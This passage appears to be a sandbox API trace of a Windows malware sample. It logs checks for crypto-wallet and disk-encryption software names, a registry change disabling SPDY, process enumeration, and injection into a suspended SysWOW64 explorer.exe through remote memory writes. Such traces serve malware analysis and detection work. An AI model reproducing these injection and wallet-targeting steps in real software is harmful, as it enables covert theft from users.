hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fefa910000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fefa910000, AllocationBase=0x7fefa910000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.027] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.027] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.027] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87e0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef87e0000, AllocationBase=0x7fef87e0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.028] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x7fef87b0000, lpBuffer=0x6adfc30, dwLength=0x30 | out: lpBuffer=0x6adfc30*(BaseAddress=0x7fef87b0000, AllocationBase=0x7fef87b0000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0043.028] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x6adfb70, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x6adfb70, ReturnLength=0x0) returned 0x0 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x60) returned 0x9a7f0a0 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a7f0a0 | out: hHeap=0x9770000) returned 1 [0043.028] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a6da90 | out: hHeap=0x9770000) returned 1 [0043.034] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x208) returned 0x9b6db70 [0043.034] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x9b6db70, nSize=0x104 | out: lpFilename="C:\\Windows\\Explorer.EXE" (normalized: "c:\\windows\\explorer.exe")) returned 0x17 [0043.034] GetProcAddress (hModule=0x7fefd5c0000, lpProcName="StrStrIW") returned 0x7fefd5cfb70 [0043.034] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="electrum-") returned 0x0 [0043.034] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="bitcoin") returned 0x0 [0043.034] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="multibit-hd") returned 0x0 [0043.035] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="bither") returned 0x0 [0043.035] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="msigna.") returned 0x0 [0043.035] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="Jaxx.") returned 0x0 [0043.035] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="JEdudus.") returned 0x0 [0043.035] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="armory-") returned 0x0 [0043.035] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="veracrypt") returned 0x0 [0043.035] StrStrIW (lpFirst="C:\\Windows\\Explorer.EXE", lpSrch="truecrypt") returned 0x0 [0043.039] RegOpenKeyA (in: hKey=0xffffffff80000001, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Internet Settings", phkResult=0x6adfc60 | out: phkResult=0x6adfc60*=0x1220) returned 0x0 [0043.040] GetProcAddress (hModule=0x7fefd710000, lpProcName="RegSetValueExA") returned 0x7fefd721dc0 [0043.040] RegSetValueExA (in: hKey=0x1220, lpValueName="EnableSPDY3_0", Reserved=0x0, dwType=0x4, lpData=0x6adfc58*=0x0, cbData=0x4 | out: lpData=0x6adfc58*=0x0) returned 0x0 [0043.041] RegCloseKey (hKey=0x1220) returned 0x0 [0043.042] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x10000) returned 0x9a7f7b0 [0043.042] NtQuerySystemInformation (in: SystemInformationClass=0x5, SystemInformation=0x9a7f7b0, Length=0x10000, ResultLength=0x6adfc50 | out: SystemInformation=0x9a7f7b0, ResultLength=0x6adfc50*=0xc820) returned 0x0 [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="System", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="S") [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="smss.exe", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="S") [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="csrss.exe", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="C") [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="wininit.exe", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="W") [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="csrss.exe", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="C") [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="winlogon.exe", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="W") [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="services.exe", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="S") [0043.045] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="lsass.exe", AllocateDestinationString=1) returned 0x0 [0043.045] RtlFreeAnsiString (AnsiString="L") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="lsm.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="L") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="audiodg.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="A") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="dwm.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="D") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="explorer.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="E") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="spoolsv.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="taskhost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="T") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="svchost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="S") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="ONENOTEM.EXE", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="O") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="taskeng.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="T") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="OfficeClickToRun.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="O") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="taskhost.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="T") [0043.046] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="nr nutrition.exe", AllocateDestinationString=1) returned 0x0 [0043.046] RtlFreeAnsiString (AnsiString="N") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="beat.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="B") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="refers.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="R") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="additions.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="A") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="clusters attack.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="C") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="oriental.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="O") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="protective quite sessions.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="P") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="mumbai.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="M") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="ps-workstation.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="P") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="today.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="T") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="dishesproductioncottage.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="D") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="unfortunatelyafterwardsemission.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="U") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="weblogs-waters.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="W") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="plaintiff.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="P") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="greensborooregon.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="G") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="chartspresently.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="C") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="ir grey.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="I") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="know.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="K") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="requirement_float_disability.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="R") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="licenses_miss.exe", AllocateDestinationString=1) returned 0x0 [0043.047] RtlFreeAnsiString (AnsiString="L") [0043.047] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="WmiPrvSE.exe", AllocateDestinationString=1) returned 0x0 [0043.048] RtlFreeAnsiString (AnsiString="W") [0043.048] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="mobsync.exe", AllocateDestinationString=1) returned 0x0 [0043.048] RtlFreeAnsiString (AnsiString="M") [0043.048] RtlUpcaseUnicodeString (DestinationString=0x6adf8f0, SourceString="explorer.exe", AllocateDestinationString=1) returned 0x0 [0043.048] RtlFreeAnsiString (AnsiString="E") [0043.048] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0043.048] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x25) returned 0x986fa90 [0043.048] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\SysWOW64\\explorer.exe", lpDst=0x0, nSize=0x0 | out: lpDst=0x0) returned 0x22 [0043.048] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x22) returned 0x986fac0 [0043.048] ExpandEnvironmentStringsA (in: lpSrc="%systemroot%\\SysWOW64\\explorer.exe", lpDst=0x986fac0, nSize=0x22 | out: lpDst="C:\\Windows\\SysWOW64\\explorer.exe") returned 0x21 [0043.048] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0043.049] GetProcAddress (hModule=0x77040000, lpProcName="Wow64EnableWow64FsRedirection") returned 0x7708ffd0 [0043.049] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=0) returned 0 [0043.049] CreateProcessA (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\SysWOW64\\explorer.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4000004, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x6adf9a0*(cb=0x68, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x6adf960 | out: lpCommandLine="C:\\Windows\\SysWOW64\\explorer.exe", lpProcessInformation=0x6adf960*(hProcess=0x1210, hThread=0x1220, dwProcessId=0xaf8, dwThreadId=0xafc)) returned 1 [0043.111] Wow64EnableWow64FsRedirection (Wow64FsEnableRedirection=1) returned 0 [0043.111] IsWow64Process (in: hProcess=0x1210, Wow64Process=0x6adf3d0 | out: Wow64Process=0x6adf3d0) returned 1 [0043.111] RtlAllocateHeap (HeapHandle=0x9770000, Flags=0x0, Size=0x1000) returned 0x9a8f7c0 [0043.112] NtQueryInformationProcess (in: ProcessHandle=0x1210, ProcessInformationClass=0x0, ProcessInformation=0x6adf0f8, ProcessInformationLength=0x30, ReturnLength=0x6adf3d8 | out: ProcessInformation=0x6adf0f8, ReturnLength=0x6adf3d8) returned 0x0 [0043.112] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x7efdf000, Buffer=0x6adf130, NumberOfBytesToRead=0x268, NumberOfBytesRead=0x6adf3d8 | out: Buffer=0x6adf130*, NumberOfBytesRead=0x6adf3d8*=0x268) returned 0x0 [0043.112] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x3f0000, Buffer=0x9a8f7c0, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf3d0 | out: Buffer=0x9a8f7c0*, NumberOfBytesRead=0x6adf3d0*=0x1000) returned 0x0 [0043.112] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x3f00d8, Buffer=0x9a8f7c0, NumberOfBytesToRead=0x1000, NumberOfBytesRead=0x6adf3d0 | out: Buffer=0x9a8f7c0*, NumberOfBytesRead=0x6adf3d0*=0x1000) returned 0x0 [0043.113] HeapFree (in: hHeap=0x9770000, dwFlags=0x0, lpMem=0x9a8f7c0 | out: hHeap=0x9770000) returned 1 [0043.113] NtReadVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x420efa, Buffer=0x6adf3f0, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x6adf3f8 | out: Buffer=0x6adf3f0*, NumberOfBytesRead=0x6adf3f8*=0x4) returned 0x0 [0043.114] VirtualProtectEx (in: hProcess=0x1210, lpAddress=0x420efa, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x6adf918 | out: lpflOldProtect=0x6adf918*=0x20) returned 1 [0043.920] NtWriteVirtualMemory (in: ProcessHandle=0x1210, BaseAddress=0x420efa, Buffer=0x6adf928*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x6adf3a0 | out: Buffer=0x6adf928*, NumberOfBytesWritten=0x6adf3a0*=0x4) returned 0x0 [0043.933] VirtualProtectEx (in: hProcess=0x1210, lpAddress=0x420efa, dwSize=0x4, flNewProtect=0x20, lpflOldProtect=0x6adf918 | out: lpflOldProtect=0x6adf918*=0x40) returned 1 [0043.934] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0043.934] GetProcAddress (hModule=0x77040000, lpProcName="ResumeThread") returned 0x770513a0 [0043.934] ResumeThread (hThread=0x1220) returned 0x1 [0043.934] Sleep (dwMilliseconds=0x64) [0044.045] GetModuleHandleA (lpModuleName="KERNEL32.DLL") returned 0x77040000 [0044.045] GetProcAddress (hModule=0x77040000, lpProcName="SuspendThread") returned 0x77042f60 [0044.045] SuspendThread (hThread=0x1220) returned 0x0 [0044.045] NtGetContextThread (in: ThreadHandle=0x1220, Context=0x6adf400 | out: Context=0x6adf400*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x23, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x76aa9e80, Rcx=0x76aa0a14, Rdx=0x769e0000, Rbx=0x76aa24a0, Rsp=0x2bf3ac, Rbp=0x2bf428, Rsi=0x76a9fa00, Rdi=0x76d01000, R8=0x2b, R9=0x7736003a, R10=0x0, R11=0x12e160, R12=0x7efdb000, R13=0x12fd20, R14=0x12eac0, R15=0x747b2450, Rip=0x7737017a, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x27f, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 0x0 [0044.046] RtlNtStatusToDosError (Status=0x0) returned 0x0 [0044.046] ResumeThread (hThread=0x1220) returned 0x1 [0044.046] Sleep (dwMilliseconds=0x64) [0044.147] SuspendThread (hThread=0x1220) returned 0x0 [0044.147] NtGetContextThread (in: ThreadHandle=0x1220, Context=0x6adf400 | out: Context=0x6adf400*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x10000b, MxCsr=0x1f80, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x2bf114, Rcx=0x5, Rdx=0x0, Rbx=0x2bf598, Rsp=0x12e0f8, Rbp=0x2bf5c4, Rsi=0xf, Rdi=0x12e198, R8=0x2b, R9=0x7735fe5e, R10=0x0, R11=0x202, R12=0x0, R13=0x10, R14=0x1000000, R15=0x2c, Rip=0x771b17ba, FltSave.ControlWord=0x27f, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x1f80, FltSave.MxCsr_Mask=0xffff, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, 